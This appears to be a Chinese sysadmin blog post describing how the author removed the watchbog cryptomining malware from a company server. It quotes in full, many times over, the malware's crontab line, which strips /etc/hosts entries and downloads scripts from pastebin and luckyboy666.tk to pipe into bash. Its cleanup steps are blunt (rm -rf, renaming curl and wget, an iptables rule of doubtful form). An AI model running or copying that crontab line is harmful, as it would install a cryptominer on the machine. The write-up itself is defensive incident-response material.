- 1 挖矿病毒watchbog处理过程
简要说明
这段时间公司的生产服务器中了病毒watchbog,cpu动不动就是100%,查看cpu使用情况，发现很大一部分都是us，而且占100%左右的都是进程watchbog,怎么办？
前期操作：
#top -H
top - 23:46:20 up 2:20, 4 users, load average: 17.50, 11.47, 8.05
Threads: 876 total, 18 running, 858 sleeping, 0 stopped, 0 zombie
%Cpu(s): 99.9 us, 0.1 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 65806080 total, 50549892 free, 13517884 used, 1738304 buff/cache
KiB Swap: 8388604 total, 8388604 free, 0 used. 51616500 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
26548 root 20 0 74908 4452 4 R 99.7 0.0 4:40.07 watchbog #全部这个程序占用cpu
26551 root 20 0 74908 4452 4 R 99.7 0.0 4:38.46 watchbog
26553 root 20 0 74908 4452 4 R 99.7 0.0 4:40.15 watchbog
26555 root 20 0 74908 4452 4 R 99.7 0.0 4:39.08 watchbog
26543 root 20 0 74908 4452 4 R 99.4 0.0 4:39.48 watchbog
26544 root 20 0 74908 4452 4 R 99.4 0.0 4:39.75 watchbog
26545 root 20 0 74908 4452 4 R 99.4 0.0 4:39.82 watchbog
26546 root 20 0 74908 4452 4 R 99.4 0.0 4:40.17 watchbog
26547 root 20 0 74908 4452 4 R 99.4 0.0 4:39.04 watchbog
26549 root 20 0 74908 4452 4 R 99.4 0.0 4:40.04 watchbog
26550 root 20 0 74908 4452 4 R 99.4 0.0 4:40.20 watchbog
26554 root 20 0 74908 4452 4 R 99.4 0.0 4:39.09 watchbog
26556 root 20 0 74908 4452 4 R 99.4 0.0 4:39.86 watchbog
26557 root 20 0 74908 4452 4 R 99.4 0.0 4:39.90 watchbog
26558 root 20 0 74908 4452 4 R 99.4 0.0 4:39.87 watchbog
26552 root 20 0 74908 4452 4 R 98.1 0.0 4:38.92 watchbog
25344 root 20 0 148956 2952 1448 R 1.6 0.0 0:04.71 top
1556 root 20 0 0 0 0 S 0.3 0.0 0:07.39 xfsaild/dm-1
2957 root 20 0 455156 8144 6264 S 0.3 0.0 0:00.58 NetworkManager
3019 root 20 0 391352 6004 3136 S 0.3 0.0 0:00.20 gdbus
3784 root 20 0 42.587g 9.874g 16528 S 0.3 15.7 0:08.14 java
7693 root 20 0 42.587g 9.874g 16528 S 0.3 15.7 0:00.52 java
7315 root 20 0 2629884 49276 17088 S 0.3 0.1 0:03.24 phantomjs
11885 nobody 20 0 24380 3924 2100 S 0.3 0.0 0:00.69 nginx
1 root 20 0 189920 4972 2516 S 0.0 0.0 0:04.27 systemd
2 root 20 0 0 0 0 S 0.0 0.0 0:00.01 kthreadd
3 root 20 0 0 0 0 S 0.0 0.0 0:00.28 ksoftirqd/0
5 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kworker/0:0H
6 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kworker/u32:0
7 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kworker/u33:0
8 root rt 0 0 0 0 S 0.0 0.0 0:00.32 migration/0
9 root 20 0 0 0 0 S 0.0 0.0 0:00.00 rcu_bh
查看并分析
针对此问题，及时查找出问题根源，先查看定时任务及相应的目录
#ll /etc/cron
cron.d/ cron.deny cron.monthly/ cron.weekly/
cron.daily/ cron.hourly/ crontab
#ll /etc/cron.d
total 28
-rw-r--r--. 1 root root 128 Jul 8 2014 0hourly
-rw-r--r-- 1 root root 539 Jan 11 2015 apache
-rw-r--r--. 1 root root 108 Jan 20 2015 raid-check
-rw-r--r-- 1 root root 539 Jan 11 2015 root
-rw-------. 1 root root 235 Nov 12 2014 sysstat
-rw-r--r-- 1 root root 539 Jan 11 2015 system
-rw-r--r--. 1 root root 187 Jan 28 2014 unbound-anchor
#crontab -l
*/9 * * * * sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
##
定时任务全是这样的任务,先删除先。
解决步骤：
步骤一：
首先把定时任务的目录权限修改
#chmod -R 500 /etc/crontab
#chmod -R 500 /etc/cron.monthly
#chmod -R 500 /etc/cron.weekly
#chmod -R 500 /etc/cron.daily
#chmod -R 500 /etc/cron.hourly
#vim /etc/crontab #删除不正常的
#rm -rf /etc/cron.monthly/* /etc/weekly/* /etc/cron.daily/* /etc/cron.hourly/* #目录下所有的文件都删除
并根据crontab文件中，判断把/usr/bin/watchbog /usr/bin/httpntp /usr/bin/ftpsdns这几个文件删除
#rm -rf /usr/bin/watchbog /usr/bin/httpntp /usr/bin/ftpsdns
并停掉进程
#ps -ef |grep watchbog|grep -v grep |awk '{print $2}'|xargs kill -9
初步操作之后，以为可以完成，但是几分钟后，cpu又是百分之百了，看来没有找到问题的根源，继续找
根据百度上的别人关于此问题的解决方法，先操作一下：
步骤二：
#iptables -A INPUT -s pastebin.com -j DROP
#iptables -A OUTPUT -s pastebin.com -j DROP
#iptables -nL
并再次进行步骤一的操作。
然后继续观察，几分钟后，watchbog病毒又来了，看来这种方法不是很有效，没有找到真正找到病毒的根源
继续观察，发现如下问题
#ps -ef |grep wget
root 973 910 0 07:57 ? 00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root 974 841 0 07:57 ? 00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root 975 845 0 07:57 ? 00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root 976 856 0 07:57 ? 00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root 977 855 0 07:57 ? 00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|base
进行关闭wget进程时出现错误：
#ps -ef |grep wget|grep -v grep |xargs kill -9
kill: cannot find process "root"
Killed
同样，curl命令也感染了。
#ps -ef|grep curl
root 974 841 0 07:57 ? 00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root 975 845 0 07:57 ? 00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root 976 856 0 07:57 ? 00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root 977 855 0 07:57 ? 00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root 978 881 0 07:57 ? 00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root 979 835 0 07:57 ? 00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root 980 851 0 07:57 ? 00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
root 983 865 0 07:57 ? 00:00:00 /bin/sh -c sed -i '/pastebin.com/d' /etc/hosts; sed -i '/aziplcr72qjhzvin/d' /etc/hosts; (curl -fsSL https://pastebin.com/raw/JgTVYWRY||wget -q -O- https://pastebin.com/raw/JgTVYWRY||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/dGKgNgsX").read()'||curl -fsSL https://pastebin.com/raw/VG7a0nkZ||wget -q -O - https://pastebin.com/raw/VG7a0nkZ||curl -fsSLk luckyboy666.tk:9080/host-manager/olds.txt -m 90||wget -q -O - luckyboy666.tk:9080/host-manager/olds.txt --no-check-certificate -t 2 -T 60)|bash
同样删除也不行
#ps -ef |grep curl|grep -v grep |xargs kill -9
kill: cannot find process "root"
Killed
针对此问题，进行步骤三
1、先把命令curl,wget重命名
#mv /usr/bin/curl /usr/bin/lruc
#mv /usr/bin/wget /usr/bin/tegw
2、然后再次进行步骤一的操作
3、观察cpu的使用情况
#top -H
经过一二天的观察 ，最终确认此问题解决了
解决步骤再重复一下
第一步：
先把curl,wget命令重命名，请看步骤三
第二步：
删除定时任务及对应的挖矿病毒文件，请看步骤一
第三步：
把病毒网站拒绝其访问，请看步骤二
第四步：
再次启动一下xshell时，再次监控
echo "Welcome your!"
bash: curl: command not found...
bash: wget: command not found...
bash: curl: command not found...
bash: wget: command not found...
bash: curl: command not found...
bash: wget: command not found...
bash: curl: command not found...
bash: wget: command not found...
bash: curl: command not found...
bash: wget: command not found...
bash: curl: command not found...
bash: wget: command not found...
就会发现原来挖矿病毒的使用什么技术来达到的，找到问题根源，就解决此问题了
至此，以上为挖矿病毒的解决方法。